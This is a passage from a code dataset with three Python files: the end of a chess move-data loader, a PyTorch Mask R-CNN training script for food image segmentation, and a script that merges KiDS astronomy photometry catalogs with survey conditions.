2]\n ]\n for row in board:\n for i, cell in enumerate(row):\n row[i] = pieces_conv_tbl[cell]\n for i, m in enumerate(moves):\n if i % 2 == winner_index:\n _boards.append(board)\n _moves.append(moves_conv_tbl[tuple(m)])\n board[m[2]][m[3]] = board[m[0]][m[1]]\n board[m[0]][m[1]] = pieces_conv_tbl[0]\n return _boards, _moves\n\n\ndef get_train_data(train_len=None, test_len=None):\n temp = []\n for i, round in enumerate(json_moves):\n progress('Creating data', i, len(json_moves))\n winner = round[0]\n moves = round[1]\n if winner == '1-0' or winner == '1/2-1/2':\n temp.append(get_boards_moves(0, moves))\n if winner == '0-1' or winner == '1/2-1/2':\n temp.append(get_boards_moves(1, moves))\n\n print('\\nSampling data...')\n if (train_len is not None) and (test_len is not None):\n train = random.sample(temp, train_len)\n test = random.sample(temp, test_len)\n else:\n train = temp\n test = random.sample(temp, len(temp) / 10)\n print('Converting data...')\n train_boards = []\n train_moves = []\n for b, m in train:\n train_boards.extend(b)\n train_moves.extend(m)\n test_boards = []\n test_moves = []\n for b, m in test:\n test_boards.extend(b)\n test_moves.extend(m)\n\n return train_boards, train_moves, test_boards, test_moves\n", "repo_name": "JoelVerm/chessJ", "sub_path": "chessJGetData.py", "file_name": "chessJGetData.py", "file_ext": "py", "file_size_in_byte": 2642, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "json.load", "line_number": 15, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 76, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 77, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 80, "usage_type": "call"}]} {"seq_id": "23283116651", "text": "import torch\nimport torch.nn as nn\n\nimport torchvision\nfrom torchvision import transforms\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\n\nimport string\nimport cv2\nimport json\nfrom PIL import Image\nimport os\nimport numpy as np\nimport random\nfrom tqdm import tqdm\nimport shutil\n\nEPOCHS = 1000\nIMAGE_PATH = 'data'\nBEST_MODEL_DIR = 'model'\nIMAGE_SIZE = (600, 600)\nBATCH_SIZE = 2\nLR = 1e-3\n\nif torch.cuda.is_available():\n device = 'cuda'\nelse:\n device = 'cuda'\n\n\ndef construct_dict(x): return {k: [] for k in range(1, x + 1)}\n\n\ndef images_with_annotations(image_path, annotations_path):\n with open(annotations_path, 'r') as fp:\n content = json.load(fp)\n\n class_names = {category['id']: category['name']\n for category in content['categories']}\n class_names[0] = 'background'\n\n images = {image['id']: image['file_name'] for image in content['images']}\n\n for key, val in images.items():\n image = Image.open(os.path.join(image_path, val))\n images[key] = image\n img_annots = {k: [] for k in range(1, len(images) + 1)}\n\n for annot in content['annotations']:\n img_annots[annot['image_id']].append(annot)\n\n segmentations = {k: [] for k in range(1, len(images) + 1)}\n categories = {k: [] for k in range(1, len(images) + 1)}\n for val in img_annots.values():\n for annot in val:\n categories[annot['image_id']].append(annot['category_id'])\n segmentation = annot['segmentation'][0]\n segmentations[annot['image_id']].append(\n [[segmentation[i], segmentation[i + 1]] for i in range(0, len(segmentation) - 1, 2)])\n\n return images, segmentations, categories, class_names\n\n\ndef construct_masks(images, segmentations):\n masks = {}\n for key, val in images.items():\n tmp = []\n for segmentation in segmentations[key]:\n mask = np.zeros((val.size[1], val.size[0]), dtype=np.uint8)\n cv2.fillPoly(mask, np.array(\n [segmentation], dtype=np.int32), 255) # type: ignore\n tmp.append(mask)\n masks[key] = tmp\n return masks\n\n\ndef display_masks_images(images, targets):\n for i in range(len(images)):\n image = np.array(images[i].permute(1, 2, 0).cpu().numpy() * 255, dtype=np.uint8)\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n masks = targets[i]['masks'].cpu().numpy()\n boxes = targets[i]['boxes'].cpu().numpy()\n for mask in masks:\n alpha = 0.5\n image[mask == 1] = (1 - alpha) * image[mask == 1] + alpha * np.array([0, 255, 0])\n for box in boxes:\n x1, y1, x2, y2 = np.array(box, dtype=np.int32)\n cv2.rectangle(image, (x1, y1), (x2, y2), (0, 255, 0), 2)\n cv2.imshow('image', image)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n\ndef resize_images(images, masks, size):\n for key, val in images.items():\n images[key] = val.resize(size)\n\n tmp = []\n for mask in masks[key]:\n mask = cv2.resize(mask, size)\n tmp.append(mask)\n masks[key] = tmp\n\n images[key] = cv2.cvtColor(np.array(images[key]), cv2.COLOR_BGR2RGB)\n return images, masks\n\n\ndef augment_data(images, masks, categories, class_names):\n targets = {}\n\n for k, v in masks.items():\n data = {}\n tmp = []\n li = []\n for mask in v:\n tmp_mask = (mask > 0).astype(np.uint8)\n x, y, w, h = cv2.boundingRect(tmp_mask)\n if h == 0 or w == 0:\n continue\n \n li.append([x, y, x + w, y + h])\n tmp.append(tmp_mask)\n data['masks'] = torch.tensor(tmp, dtype=torch.uint8)\n data['boxes'] = torch.tensor(li, dtype=torch.float32)\n data['labels'] = torch.tensor(\n [c for c in categories[k]], dtype=torch.int64)\n targets[k] = data\n\n return images, targets\n\n\ndef _process_image(images, size):\n # resize images if not correct size\n imgs = [cv2.resize(img, size) for img in images]\n\n # process images\n imgs = torch.stack([torch.tensor(img, dtype=torch.float32)\n for img in images], 0)\n imgs = imgs.permute(0, 3, 1, 2)\n imgs = imgs / 255.0\n # imgs = imgs - torch.tensor([0.485, 0.456, 0.406]).view(3, 1, 1)\n # imgs = imgs / torch.tensor([0.229, 0.224, 0.225]).view(3, 1, 1)\n return imgs\n\ndef _augment_training_data(images, targets):\n res_images = []\n res_targets = []\n hflip_transform = transforms.RandomHorizontalFlip(p=0.5)\n\n for i in range(len(images)):\n image = images[i].permute(1, 2, 0).cpu().numpy()\n masks = targets[i]['masks'].cpu().numpy()\n\n # random color jitter\n image_pil = Image.fromarray(image.astype(np.uint8))\n image_pil = transforms.ColorJitter(brightness=0.5, contrast=0.5, saturation=0.5, hue=0.5)(image_pil)\n\n # random horizontal flip\n if random.random() > 0.5:\n image_pil = hflip_transform(image_pil)\n image = np.array(image_pil)\n masks = [cv2.flip(mask, 1) for mask in masks]\n boxes = []\n for mask in masks:\n x, y, w, h = cv2.boundingRect(mask)\n if h == 0 or w == 0:\n continue\n boxes.append([x, y, x + w, y + h])\n else:\n image = np.array(image_pil)\n boxes = targets[i]['boxes'].cpu().numpy()\n\n res_images.append(torch.tensor(image, dtype=torch.float32).permute(2, 0, 1))\n res_targets.append({'masks': torch.tensor(masks, dtype=torch.uint8), 'boxes': torch.tensor(boxes, dtype=torch.float32), 'labels': targets[i]['labels']})\n\n return res_images, res_targets\n\n\nclass Data:\n\n def __init__(self, image_path, size=(600, 600), batch_size=2):\n self.train_images, self.train_targets = self._data_pipeline(\n image_path, os.path.join(image_path, 'train_annotations.json'), size)\n self.test_images, self.test_targets = self._data_pipeline(\n image_path, os.path.join(image_path, 'test_annotations.json'), size, train=False)\n self.batch_size = batch_size\n\n def _data_pipeline(self, image_path, annotations_path, size, train=True):\n images, segmentations, categories, class_names = images_with_annotations(\n image_path, annotations_path)\n masks = construct_masks(images, segmentations)\n images, masks = resize_images(images, masks, size)\n images, targets = augment_data(images, masks, categories, class_names)\n images, targets = list(images.values()), list(targets.values())\n\n images = _process_image(images, size)\n # images = list(image.to(device) for image in images)\n # targets = [{k: v.to(device) for k,v in t.items()} for t in targets]\n if train:\n images, targets = _augment_training_data(images, targets)\n self.num_classes = len(class_names)\n return images, targets\n\n def train_generator(self):\n return Generator(self.train_images, self.train_targets, self.batch_size)\n\n def test_generator(self):\n return Generator(self.test_images, self.test_targets, self.batch_size)\n\n\nclass Generator:\n\n def __init__(self, data, targets, batch_size):\n self.data = data\n self.targets = targets\n\n array = list(range(len(self.data)))\n random.shuffle(array)\n self.data = [self.data[i] for i in array]\n self.targets = [self.targets[i] for i in array]\n\n self.batch_size = batch_size\n\n def __len__(self):\n return len(self.data) // self.batch_size\n\n def __getitem__(self, idx):\n if len(self.data) % self.batch_size != 0 and idx == len(self) - 1:\n return self.data[idx * self.batch_size:], self.targets[idx * self.batch_size:]\n return self.data[idx * self.batch_size: (idx + 1) * self.batch_size], self.targets[idx * self.batch_size: (idx + 1) * self.batch_size]\n\n def __iter__(self):\n for i in range(len(self)):\n yield self[i]\n\n\nclass Model(nn.Module):\n\n def __init__(self, num_classes, pretrained=True):\n super(Model, self).__init__()\n self.model = torchvision.models.detection.maskrcnn_resnet50_fpn(\n pretrained=pretrained)\n in_features = self.model.roi_heads.box_predictor.cls_score.in_features # type: ignore\n self.model.roi_heads.box_predictor = FastRCNNPredictor(\n in_features, num_classes)\n\n def forward(self, x, y):\n return self.model(x, y)\n\n def predict(self, image):\n # resize the image\n image = cv2.resize(image, (600, 600))\n\n # convert image to tensor\n image = torch.tensor(image, dtype=torch.float32)\n\n # permute image\n image = image.permute(2, 0, 1)\n\n # normalize image\n image = image / 255.0\n image = image - torch.tensor([0.485, 0.456, 0.406]).view(3, 1, 1)\n image = image / torch.tensor([0.229, 0.224, 0.225]).view(3, 1, 1)\n\n # add batch dimension\n image = image.unsqueeze(0)\n\n # predict\n self.model.eval()\n with torch.no_grad():\n return self.model(image)\n\n\nclass Trainer:\n\n def __init__(self, model, optimizer, epochs=EPOCHS):\n self.model = model\n self.optimizer = optimizer\n self.epochs = epochs\n\n def train(self, epoch, train_loader, verbose=True):\n pbar = tqdm(train_loader, total=len(train_loader))\n for x, y in pbar:\n self.model.train()\n self.optimizer.zero_grad()\n loss_dict = self.model(x, y)\n losses = sum(loss for loss in loss_dict.values())\n\n losses.backward() # type: ignore\n self.optimizer.step()\n if verbose:\n print(f'Train: Epoch={epoch} | Loss={losses}') # type: ignore\n return losses # type: ignore\n\n def test(self, epoch, test_loader, verbose=True):\n pbar = tqdm(test_loader, total=len(test_loader))\n total_loss = 0\n\n for x, y in pbar:\n with torch.no_grad():\n loss_dict = self.model(x, y)\n losses = sum(loss for loss in loss_dict.values())\n total_loss += losses\n\n if verbose:\n print(f'Test: Epoch={epoch} | Loss={total_loss/len(test_loader)}')\n return total_loss/len(test_loader)\n\n\nclass Helper:\n\n @staticmethod\n def save_model(model, path):\n os.makedirs(os.path.dirname(path), exist_ok=True)\n torch.save(model.state_dict(), path)\n\n @staticmethod\n def delete_files_in_path(path):\n if os.path.exists(path):\n for file in os.listdir(path):\n os.remove(os.path.join(path, file))\n\n @staticmethod\n def get_best_loss():\n if os.path.exists(BEST_MODEL_DIR) and len(os.listdir(BEST_MODEL_DIR)) > 0:\n return float(os.listdir(BEST_MODEL_DIR)[0].split('--loss-')[1].split('.pth')[0])\n else:\n return float('inf')\n\n @staticmethod\n def early_stop(test_losses, patience=30):\n if len(test_losses) < patience:\n return False\n else:\n return test_losses.index(min(test_losses)) < len(test_losses) - patience - 1\n\n @staticmethod\n def load_model(model, path):\n model.load_state_dict(torch.load(path))\n return model\n\n @staticmethod\n def infer(model, image):\n original_size = image.shape[-2:]\n image_copy = image.copy()\n image = cv2.resize(image, IMAGE_SIZE)\n model.eval()\n with torch.no_grad():\n out = model.predict(image)\n # display image\n print(out)\n boxes = out[0]['boxes'].detach().cpu().numpy()\n scores = out[0]['scores'].detach().cpu().numpy()\n labels = out[0]['labels'].detach().cpu().numpy()\n masks = out[0]['masks'].detach().cpu().numpy()\n for box, score, label, mask in zip(boxes, scores, labels, masks):\n if score > 0.5:\n box = box.astype(np.int32)\n mask = cv2.resize(mask, original_size)\n mask = (mask > 0.5).astype(np.uint8)\n color = np.random.randint(0, 255, (1, 3), dtype=np.uint8)\n color = tuple([int(c) for c in color[0]])\n\n image_copy = Helper.apply_mask(\n image_copy, mask, color, alpha=0.5)\n image_copy = cv2.rectangle(\n image_copy, (box[0], box[1]), (box[2], box[3]), (255, 0, 0), 2)\n image_copy = cv2.putText(image_copy, str(\n label), (box[0], box[1]), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)\n cv2.imshow('image', image_copy)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n @staticmethod\n def apply_mask(image, mask, color, alpha):\n \"\"\"Apply the given mask to the image.\n \"\"\"\n for c in range(3):\n image[:, :, c] = np.where(mask == 1,\n image[:, :, c] *\n (1 - alpha) + alpha * color[c],\n image[:, :, c])\n return image\n\n\nclass DataHelper:\n @staticmethod\n def copy_missing_annotation_images(image_dir, annotation_path):\n file1 = json.load(open(annotation_path, 'r'))\n images = file1['images']\n images = [d['file_name'] for d in images]\n local_images = os.listdir(image_dir)\n for image in local_images:\n if image not in images:\n os.makedirs('missing_images', exist_ok=True)\n shutil.copy(os.path.join(image_dir, image),\n os.path.join('missing_images', image))\n\n @staticmethod\n def handle_missing_category_ids(path1, id=1):\n file1 = json.load(open(path1, 'r'))\n\n annotations = file1['annotations']\n for annotation in annotations:\n if 'category_id' not in annotation:\n annotation['category_id'] = id\n\n return file1\n\n @staticmethod\n def handle_file_names(dir):\n for file in os.listdir(dir):\n if not file.endswith('.json'):\n random_name = ''.join(random.choices(\n string.ascii_uppercase + string.digits, k=10))\n file_extension = file.split('.')[-1]\n os.rename(os.path.join(dir, file), os.path.join(\n dir, random_name + '.' + file_extension))\n\n @staticmethod\n def combine_annotations(path1, path2):\n file1 = json.load(open(path1, 'r'))\n file2 = json.load(open(path2, 'r'))\n\n res_info = file1['info']\n\n images1 = file1['images']\n images2 = file2['images']\n images2_copy = [d.copy() for d in images2]\n initial_file_names = [d['file_name'] for d in images1]\n last_image_id = images1[-1]['id']\n images2 = [d for d in images2 if d['file_name']\n not in initial_file_names]\n for image in images2:\n image['id'] += last_image_id\n res_images = images1 + images2\n image_conversions = {}\n for image in images2_copy:\n res_image_id = [\n img for img in res_images if img['file_name'] == image['file_name']][0]['id']\n image_conversions[image['id']] = res_image_id\n\n category1 = file1['categories']\n category2 = file2['categories']\n category2_copy = [d.copy() for d in category2]\n last_category_id = category1[-1]['id']\n initial_category_names = [d['name'] for d in category1]\n category2 = [d for d in category2 if d['name']\n not in initial_category_names]\n for category in category2:\n category['id'] += last_category_id\n res_categories = category1 + category2\n category_conversions = {}\n for category in category2_copy:\n res_category_id = [\n ctg for ctg in res_categories if ctg['name'] == category['name']][0]['id']\n category_conversions[category['id']] = res_category_id\n\n annotation1 = file1['annotations']\n annotation2 = file2['annotations']\n last_annotation_id = annotation1[-1]['id']\n for annotation in annotation2:\n annotation['id'] += last_annotation_id\n annotation['image_id'] = image_conversions[annotation['image_id']]\n annotation['category_id'] = category_conversions[annotation['category_id']]\n res_annotations = annotation1 + annotation2\n\n return {'info': res_info, 'images': res_images, 'categories': res_categories, 'annotations': res_annotations}\n\n\nif __name__ == '__main__':\n data = Data(image_path=IMAGE_PATH, size=IMAGE_SIZE, batch_size=BATCH_SIZE)\n train_loader = data.train_generator()\n test_loader = data.test_generator()\n\n model = Model(num_classes=data.num_classes)\n # model = model.to(device)\n optimizer = torch.optim.Adam(model.parameters(), lr=LR)\n trainer = Trainer(model, optimizer)\n test_losses = []\n best_loss = Helper.get_best_loss()\n\n for epoch in range(EPOCHS):\n trainer.train(epoch, train_loader)\n loss = trainer.test(epoch, test_loader)\n\n test_losses.append(loss)\n if loss < best_loss:\n Helper.delete_files_in_path(BEST_MODEL_DIR)\n Helper.save_model(\n model, rf'{BEST_MODEL_DIR}/epoch-{epoch+1}--loss-{loss:.3f}.pth')\n best_loss = loss\n\n if Helper.early_stop(test_losses):\n print(f'Early Stopping at epoch {epoch + 1}')\n break\n\n # best_model_path = os.path.join(\n # BEST_MODEL_DIR, os.listdir(BEST_MODEL_DIR)[0])\n # model = Helper.load_model(model, best_model_path)\n # model = torchvision.models.detection.maskrcnn_resnet50_fpn(2)\n # model.eval()\n # image = cv2.imread('test.jpeg')\n # image = cv2.resize(image, (224, 224))\n # image = (torch.tensor(image) / 255.0).permute(2, 0, 1).float()\n # with torch.no_grad():\n # output = model([image])\n # print(output)\n # Helper.infer(model, cv2.imread('test.jpeg'))\n", "repo_name": "Espacio-root/shazam-for-food", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 18032, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "70", "api": [{"api_name": "torch.cuda.is_available", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 25, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 45, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 45, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.fillPoly", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 71, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 79, "usage_type": "attribute"}, {"api_name": "cv2.cvtColor", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 80, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 87, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 88, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 89, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 91, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 104, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 104, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 116, "usage_type": "attribute"}, {"api_name": "cv2.boundingRect", "line_number": 117, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 123, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 123, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 124, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 124, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 125, "usage_type": "call"}, {"api_name": "torch.int64", "line_number": 126, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 134, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 137, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 137, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.RandomHorizontalFlip", "line_number": 148, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 148, "usage_type": "name"}, {"api_name": "PIL.Image.fromarray", "line_number": 155, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 155, "usage_type": "name"}, {"api_name": "numpy.uint8", "line_number": 155, "usage_type": "attribute"}, {"api_name": "torchvision.transforms.ColorJitter", "line_number": 156, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 156, "usage_type": "name"}, {"api_name": "random.random", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 162, "usage_type": "call"}, {"api_name": "cv2.boundingRect", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 173, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 174, "usage_type": "call"}, {"api_name": "torch.uint8", "line_number": 174, "usage_type": "attribute"}, {"api_name": "torch.float32", "line_number": 174, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 183, "usage_type": "call"}, {"api_name": "os.path", "line_number": 183, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 185, "usage_type": "call"}, {"api_name": "os.path", "line_number": 185, "usage_type": "attribute"}, {"api_name": "random.shuffle", "line_number": 218, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 237, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 237, "usage_type": "name"}, {"api_name": "torchvision.models.detection.maskrcnn_resnet50_fpn", "line_number": 241, "usage_type": "call"}, {"api_name": "torchvision.models", "line_number": 241, "usage_type": "attribute"}, {"api_name": "torchvision.models.detection.faster_rcnn.FastRCNNPredictor", "line_number": 244, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 252, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 255, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 262, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 263, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 270, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 282, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 296, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 300, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 314, "usage_type": "call"}, {"api_name": "os.path", "line_number": 314, "usage_type": "attribute"}, {"api_name": "torch.save", "line_number": 315, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 319, "usage_type": "call"}, {"api_name": "os.path", "line_number": 319, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 320, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 321, "usage_type": "call"}, {"api_name": "os.path", "line_number": 321, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 325, "usage_type": "call"}, {"api_name": "os.path", "line_number": 325, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 325, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 326, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 339, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 346, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 348, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 358, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 359, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 360, "usage_type": "attribute"}, {"api_name": "numpy.random.randint", "line_number": 361, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 361, "usage_type": "attribute"}, {"api_name": "numpy.uint8", "line_number": 361, "usage_type": "attribute"}, {"api_name": "cv2.rectangle", "line_number": 366, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 368, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 369, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 370, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 371, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 372, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 379, "usage_type": "call"}, {"api_name": "json.load", "line_number": 389, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 392, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 395, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 396, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 396, "usage_type": "call"}, {"api_name": "os.path", "line_number": 396, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 397, "usage_type": "call"}, {"api_name": "os.path", "line_number": 397, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 401, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 412, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 414, "usage_type": "call"}, {"api_name": "string.ascii_uppercase", "line_number": 415, "usage_type": "attribute"}, {"api_name": "string.digits", "line_number": 415, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 417, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 417, "usage_type": "call"}, {"api_name": "os.path", "line_number": 417, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 422, "usage_type": "call"}, {"api_name": "json.load", "line_number": 423, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 478, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 478, "usage_type": "attribute"}]} {"seq_id": "8200719756", "text": "from astropy.table import Table\nfrom helper_functions import luptize_deep_kids\nimport pandas as pd\nimport numpy as np\nimport fitsio\nimport os\nimport sys\n\npath = os.path.abspath(sys.path[0])\n\npath_data = f\"{path}/../Data/skills_v07D7p1_LF_321_kidsPhotometry_everything_col_flag_shear_m283m283_rot_0.fits\"\npath_survey_conditions = f\"{path}/../Data/noise_selec_combined.csv\"\npath_save = f\"{path}/../Data/kids_training_catalog_lup.pkl\"\npath_save_small = f\"{path}/../Data/kids_training_catalog_lup_small.pkl\"\n\ncol_kids = [\n \"tile_label\",\n \"axis_ratio_input\",\n \"Re_input\",\n \"sersic_n_input\",\n \"u_input\",\n \"g_input\",\n \"r_input\",\n \"i_input\",\n \"Z_input\",\n \"Y_input\",\n \"J_input\",\n \"H_input\",\n \"Ks_input\",\n]\n\ncol_output = [\n \"FLUX_GAAP_u\",\n \"FLUX_GAAP_g\",\n \"FLUX_GAAP_r\",\n \"FLUX_GAAP_i\",\n \"FLUX_GAAP_Z\",\n \"FLUX_GAAP_Y\",\n \"FLUX_GAAP_J\",\n \"FLUX_GAAP_H\",\n \"FLUX_GAAP_Ks\",\n \"FLUXERR_GAAP_u\",\n \"FLUXERR_GAAP_g\",\n \"FLUXERR_GAAP_r\",\n \"FLUXERR_GAAP_i\",\n \"FLUXERR_GAAP_Z\",\n \"FLUXERR_GAAP_Y\",\n \"FLUXERR_GAAP_J\",\n \"FLUXERR_GAAP_H\",\n \"FLUXERR_GAAP_Ks\",\n \"FLUX_AUTO\",\n \"FLUXERR_AUTO\",\n]\n\ncol_survey_cond = [\n \"label\",\n \"InputSeeing_u\",\n \"InputSeeing_g\",\n \"InputSeeing_r\",\n \"InputSeeing_i\",\n \"InputSeeing_Z\",\n \"InputSeeing_Y\",\n \"InputSeeing_J\",\n \"InputSeeing_H\",\n \"InputSeeing_Ks\",\n \"InputBeta_u\",\n \"InputBeta_g\",\n \"InputBeta_r\",\n \"InputBeta_i\",\n \"InputBeta_Z\",\n \"InputBeta_Y\",\n \"InputBeta_J\",\n \"InputBeta_H\",\n \"InputBeta_Ks\",\n \"rmsAW_u\",\n \"rmsAW_g\",\n \"rmsAW_r\",\n \"rmsAW_i\",\n \"rms_Z\",\n \"rms_Y\",\n \"rms_J\",\n \"rms_H\",\n \"rms_Ks\",\n]\n\nkids_data = Table(fitsio.read(path_data))\ndf_kids_data = pd.DataFrame()\nfor i, col in enumerate(col_kids+col_output):\n print(i, col)\n df_kids_data[col] = kids_data[col]\ndf_kids_data = df_kids_data.rename(columns={'tile_label': 'label'})\nprint(f'Length of deep field catalog: {len(df_kids_data)}')\n\ndf_survey_cond_all = pd.read_csv(path_survey_conditions)\ndf_survey_cond_needed = df_survey_cond_all[col_survey_cond]\nprint(df_survey_cond_needed)\n\nprint('Merging catalogs...')\nprint('Merging survey catalog and kids on label => df_merged')\ndf_merged = pd.merge(df_kids_data, df_survey_cond_needed, on='label', how=\"left\")\nprint(f'Length of merged catalog: {len(df_merged)}')\nprint(df_merged.isnull().sum())\n\nlst_flux_2_lupt = [\n \"FLUX_GAAP_u\",\n \"FLUX_GAAP_g\",\n \"FLUX_GAAP_r\",\n \"FLUX_GAAP_i\",\n \"FLUX_GAAP_Z\",\n \"FLUX_GAAP_Y\",\n \"FLUX_GAAP_J\",\n \"FLUX_GAAP_H\",\n \"FLUX_GAAP_Ks\"\n]\n\nlst_fluxerr_2_lupt = [\n \"FLUXERR_GAAP_u\",\n \"FLUXERR_GAAP_g\",\n \"FLUXERR_GAAP_r\",\n \"FLUXERR_GAAP_i\",\n \"FLUXERR_GAAP_Z\",\n \"FLUXERR_GAAP_Y\",\n \"FLUXERR_GAAP_J\",\n \"FLUXERR_GAAP_H\",\n \"FLUXERR_GAAP_Ks\"\n]\n\nlst_bins = [\n \"u\",\n \"g\",\n \"r\",\n \"i\",\n \"Z\",\n \"Y\",\n \"J\",\n \"H\",\n \"Ks\",\n]\n\narr_lup = luptize_deep_kids(np.array(df_merged[lst_flux_2_lupt]), bins=lst_bins)[0]\narr_lup_err = luptize_deep_kids(np.array(df_merged[lst_fluxerr_2_lupt]), bins=lst_bins)[0]\n\nlst_luptize = [\n \"luptize_u\",\n \"luptize_g\",\n \"luptize_r\",\n \"luptize_i\",\n \"luptize_Z\",\n \"luptize_Y\",\n \"luptize_J\",\n \"luptize_H\",\n \"luptize_Ks\",\n]\n\nlst_luptize_err = [\n \"luptize_err_u\",\n \"luptize_err_g\",\n \"luptize_err_r\",\n \"luptize_err_i\",\n \"luptize_err_Z\",\n \"luptize_err_Y\",\n \"luptize_err_J\",\n \"luptize_err_H\",\n \"luptize_err_Ks\",\n]\n\nfor idx_lup, lup in enumerate(lst_luptize):\n df_merged[lup] = arr_lup[:, idx_lup]\n\nfor idx_lup_err, lup_err in enumerate(lst_luptize_err):\n df_merged[lup_err] = arr_lup_err[:, idx_lup_err]\n\ndf_merged_small = df_merged.sample(n=250000)\n\ndf_merged.to_pickle(path_save)\ndf_merged_small.to_pickle(path_save_small)\n", "repo_name": 